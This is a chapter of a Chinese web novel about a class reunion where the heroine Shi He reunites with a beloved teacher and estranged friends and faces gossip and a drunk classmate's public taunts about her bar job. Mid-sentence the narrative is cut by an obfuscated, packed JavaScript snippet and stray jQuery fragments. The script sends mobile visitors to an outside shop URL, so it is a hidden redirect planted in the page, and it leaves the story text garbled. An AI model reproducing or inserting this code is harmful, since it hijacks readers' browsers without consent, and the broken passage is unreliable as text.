施荷这个人,对老师挺挑剔的,太严格她嫌呆板,太宽容她又觉得没主见,从小到大有好感的老师不超过三个,李老师是其中之一。
她是施荷刚入学的辅导员,工作内容远超职责,对班里学生都很关照,为了学生权益能扛住压力跟校领导对抗,也愿意抽出时间跟他们认认真真谈心,把他们当孩子对待,还多了几分尊重的那种老师。
李老师特别喜欢她,这种喜欢无关其他因素,在空余时间总请她吃饭,婉拒了她送的奢侈品,告诉她家庭只是成功的辅助品,况且成功不重要,她说施荷自己开心才重要。
几年前施荷离开得仓促,谁也没说,回想起来总怀着愧疚情节,而再听到李老师的消息就是在今天,恍然间感到一阵沧海桑田的悲怆。
她没说话,但两分钟的寂静后,慢慢回过脚,问他们地址在哪儿。
然后他们就笑了。
施荷没办法拒绝这个理由,她该回去看看她的,于是她在查看了两地距离后还是坐上了陈魏的车,在跑车尾气中甘愿入局。
这一行人是最晚到的,陈魏走在最前头,他爱现眼,一把推开宴会厅的门:“来来来,都让让!”
其余同学都闻声看去,视线也都自然落在了后方的施荷身上,一道接一道犹如洪水涌来,压力当然大,但施荷不在乎这些,她的眼睛直直望向主桌上的女人。女人仍如当年一般带着那副细黑框眼镜,只是背驼了,瘦了,也没精气神了,短短两年而已,她的头发花白了一半。
“施荷也来啦。”李老师说得有些费劲,“好孩子,你们都是好孩子。”
鼻酸眼红抑制不住,步子也止不住,她越走越快,走到女人身旁,两代人的对视中,蕴含着万语千言,她们什么也没说,但好像一切也都不必说,李老师摸了摸她的手:“受了不少苦吧。”
施荷使劲摇摇头,挤出一个微笑:“老师,好想你啊。”
宴会厅的音乐响起,教导主任拿着话筒上台,依然激情昂扬地喷着口水,学生爱答不理,在台下明目张胆地玩手机聊天,主任没法再让他们去罚站,只好加大自己的音量。
施荷刚跟老师交流完,觉得没什么遗憾了,觉得一切狂风暴雨她都能应对了,找到自己的那张桌子,然后看见了那张桌上的人。
她不知道排座位的人是谁,但一定跟她有过节。
左边辛锐佳,右边方逢秋,两人的中间隔着一张空椅子,一见到她,他们不自然地回避,一左一右,又呆又尴尬。
有那么一瞬间她差点就要被逗笑了,挺幽默的,幽默之余也愁,没打算好要如何面对这俩门童,早就不怨,但嫌隙如同埋藏在表皮中的腐肉,一碰就会牵到伤口,能剜,就是把伤口破开的过程势必要疼一疼。
施荷坐下去,方逢秋紧抿嘴唇,神情严肃,脸渐渐涨红,而辛锐佳还是无法抑制地瞄了过来,看上去是想跟她说话的,但是双方都处于激烈的思想斗争中,就在施荷即将开口打破沉默时,辛锐佳干巴巴地说:“来了啊。”
“嗯。”她回。
这对话就进行不下去了。
同桌的人都默不作声,看着曾经的“铁三角”,施荷转了转头,冷不丁给方逢秋一眼:“别憋气了,不怕窒息啊。”
“谁窒息了!”
方逢秋太久没张嘴,嗓音走调又沙哑,腔调特诡异,三人都吓了一跳,辛锐佳脱口而出:“你叫鬼啊!”
“我叫你啊!”他呛道。
“你又找死是不是,怂得跟什么似的!之前怎么说的,施荷一来你就......”
话音未落,辛锐佳自己也愣住了,方逢秋还是像小孩,这么多年都没长进,被辛锐佳一怼就倔强地别过头。
施荷嘴角发自内心地勾了勾,幅度不大,但辛锐佳见着了,她低下头,不好意思地也笑,特别温柔,特别好看。
一笑泯恩仇这话有点儿假,但那种阔别已久的感觉,好像回来了一点点。
每到这种场合,会场的洗手间都特别拥挤,天阴了,走廊尽头的窗玻璃上结了薄薄一层雾,施荷走近的时候,里头正传来细语声,音量很轻。
“她还真来了。”
“佩服,也不嫌丢人,我要是她绝对躲得远远的。”
“要不说人家心理素质强呢,你知道吗,她居然在酒吧上班哎。”
洗手间传来几阵倒抽气,有人问:“真的假的?!”
“是啊,就在ACD那块儿,我朋友上次去见到她了,据说每个月都是业绩第一名。”
“她疯了吧。”
一人意味不明地笑了笑:“还真是在哪儿都能混的风生水起,改天姐儿几个也去照顾照顾生意。”
“你好坏啊……”
施荷在外一言不发的听。
这些人中,没有一个跟她有过明面上的矛盾,话语间却仿佛恨她入骨,要靠嚼她的舌头来获得某种满足跟愉悦感,施荷内心真是五味杂陈,她垂下眼睫,推开门。
狭小空间内的谈话随着她的进入中断,女生们默契噤声,互相朝对方看一眼,继续补妆。
施荷慢悠悠地洗手,抽纸巾擦干,纸巾筒在其中一个女生的身后三米,她揣着纸团走过去,女生的高跟鞋往后挪,她进一步,女生退一步,直至被逼到墙角,朝同行人使了个眼色,但没人敢上前,因为那时候施荷身上的气场太恐怖。
“你干什么……”
“……”
施荷的眼睛从女生发顶转至膝盖,她比女生高不少,俯视时脸庞暗在盥洗室的灯光里,看不清表情。
“刚刚大家开玩笑的……”女生手肘抵着墙,背上有凉意窜上来。
施荷还是不说话。
“这么多人看着,你别乱来!”
“我在你们嘴里不是已经疯了么,既然是疯子,无论做什么都算正常吧。”施荷说得很认真,语调平静。
正是这股平静让在场所有人都不寒而栗,见鬼似的盯着她,眼珠不错,大气不敢喘一声,似乎她下一秒真的就要做出一些疯癫可怖的行径。
氛围一下子降到冰点,施荷伸手,女生立刻捂住脸——
而后施荷的手臂绕过女生,将纸团丢进桶里,唇边有极淡的笑意。
“耳环很好看。”
她评价道,在女生们惊恐的目光下走出洗手间。
有些东西,有些反应,她来之前就预想到,所以在整个会场安静如幽灵,不想引起别人注意,可偏偏有人看不得她安静,菜才刚上,陈魏就坐不住了。
他揣着个杯子,越过半个会场来到他们这一桌,点了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727136|207694||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
名要敬施荷一杯,辛锐佳是知道这个人的,眉头马上皱了,施荷端起白水,而陈魏手一晃,他杯中的白酒便有几滴洒到了施荷杯里,辛辣的酒气扑鼻而来。
那时候还在忍,所以压着情绪准备换一杯干净的,陈魏倏地拦住她:“哎,不喝酒啊?”
她看着陈魏。
“清高。”他对着施荷竖了个大拇指,脸上露出恶劣的笑容,又画风急转:“但你不就是做这个的吗?”
一片哗然。
施荷兼职的事在同学圈里都传开了,多多少少知道一些,但将这件事翻出来摆在明面上又是不一样的意思,那么多双眼睛看过来,恨不得将她从里到外扒光。
陈魏对于自己的杰作很满意,将酒杯抬高几寸。
“瞪我干什么,我说错了吗?你不是陪酒的吗?”他又问。
方才被施荷威慑过的几个女生倒是没附和了,辛锐佳看不过眼:“你够了啊。”
“你帮她说话?你不会还觉得自己是她的好姐妹吧,施荷逃跑的时候知会过你么,这么多年联系过你么,人家在乎你是谁吗,还在这为她出头,可笑不可笑。”
陈魏也喝高了,讲话飘,三个问句,一个接一个尾调高,辛锐佳被戳中心底里那块伤,一时没说话,下一刻,桌上迸发出一记激烈的碰撞声跟玻璃碎掉的声音。
方逢秋将杯子一砸,怒喝:“轮得着你在这说三道四,你算老几啊?”
“哟,怎么还生气了,听不得实话?你们这些人家里好歹也都是做生意的,怎么学不精呢,读书时就跟这种人泡在一起。”陈魏摇摇头,“亏本的买卖做了一次,还想做第二次?”
“想死是不是!”
方逢秋拍桌而起,施荷盖住动静,截停方逢秋的动作,朗声说:“陈魏,你既然这么关注我,难道不知道风水轮流转的道理?据我所知,你毕业后鼓捣着创业,明面上是融资,背地里挪用公款,少说也亏了好几千万吧,除了吃喝嫖赌,你还会什么?你站在这里,坐吃山空地嘲笑我,焉知不会成为下一个我。”
她看着远处的李老师由担忧转为欣慰的神色,知道自己说对了,而方逢秋依旧在她身边站着,随时准备给对面的人来上一拳。
“陈魏,你之所以能站在这里大言不惭地讲一些屁话,是因为运气够好,那么最好你从现在开始祈祷,祈祷你们家能一续往日荣光,否则你只会比我惨百倍千倍。到那时候,现在瞧不上的我,是你仰望也到不了的程度。”
寂静,还是那样寂静,他们都没从施荷的话里回过神,陈魏注意着周边动静,因尴尬干笑了几声:“嘴是真硬,原来我们都冤枉盛池中了,他甩你不是因为你没钱了,而是因为你死到临头还他X端着装清高!”
施荷的瞳孔缩了一下。
对,这场校友会没到齐,还有几人到现在仍未出现,盛池中也是其中一个。
见她没应,陈魏的笑容越发狂妄,他舒了口气一般顶着腮:“怎么不接招了,难受了,心痛了?”
施荷冷冷看他,手里的杯子握紧。
“啧啧,被盛池中甩了难受也能理解,毕竟人家现在出息了……”
“谁说的?”
一道清清淡淡的嗓音响起,说话的人缓缓走近:“你很闲啊,嘴这么贱就别要了。”